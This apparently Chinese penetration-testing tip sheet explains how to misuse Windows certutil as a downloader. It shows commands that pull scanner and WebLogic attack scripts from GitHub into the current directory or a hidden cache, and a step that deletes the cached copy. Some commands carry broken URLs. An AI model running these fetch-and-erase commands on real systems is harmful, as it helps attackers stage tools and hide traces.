certutil在渗透测测试中的使用技巧

用于备份证书服务管理,支持xp-win10

更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

渗透测试中的应用

1、downloader

(1) 保存在当前路径，文件名称和下载文件名称相同

certutil -urlcache -split -f https://github.com/lijiejie/IIS_shortname_Scanner/blob/master/iis_shortname_Scan.py

(2) 保存在当前路径，指定保存文件名称

certutil  -urlcache  -split  -f  https: //github.com/backlion/demo/blob/master/weblogic.

certutil -urlcache -split -f https://github.com/lijiejie/IIS_shortname_Scanner/blob/master/iis_shortname_Scan.py iis_short_scan.py

(3) 保存在缓存目录，名称随机

缓存目录位置：  %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

certutil  -urlcache   -f   https://github.com/backlion/demo/blob/master/weblogic.py




2、清除下载文件副本方法

（1） 方法一，直接删除缓存目录对应文件

（2）方法二，命令行:

1	certutil  -urlcache   -f   https: //github.com/backlion/demo/blob/master/weblogic.py delete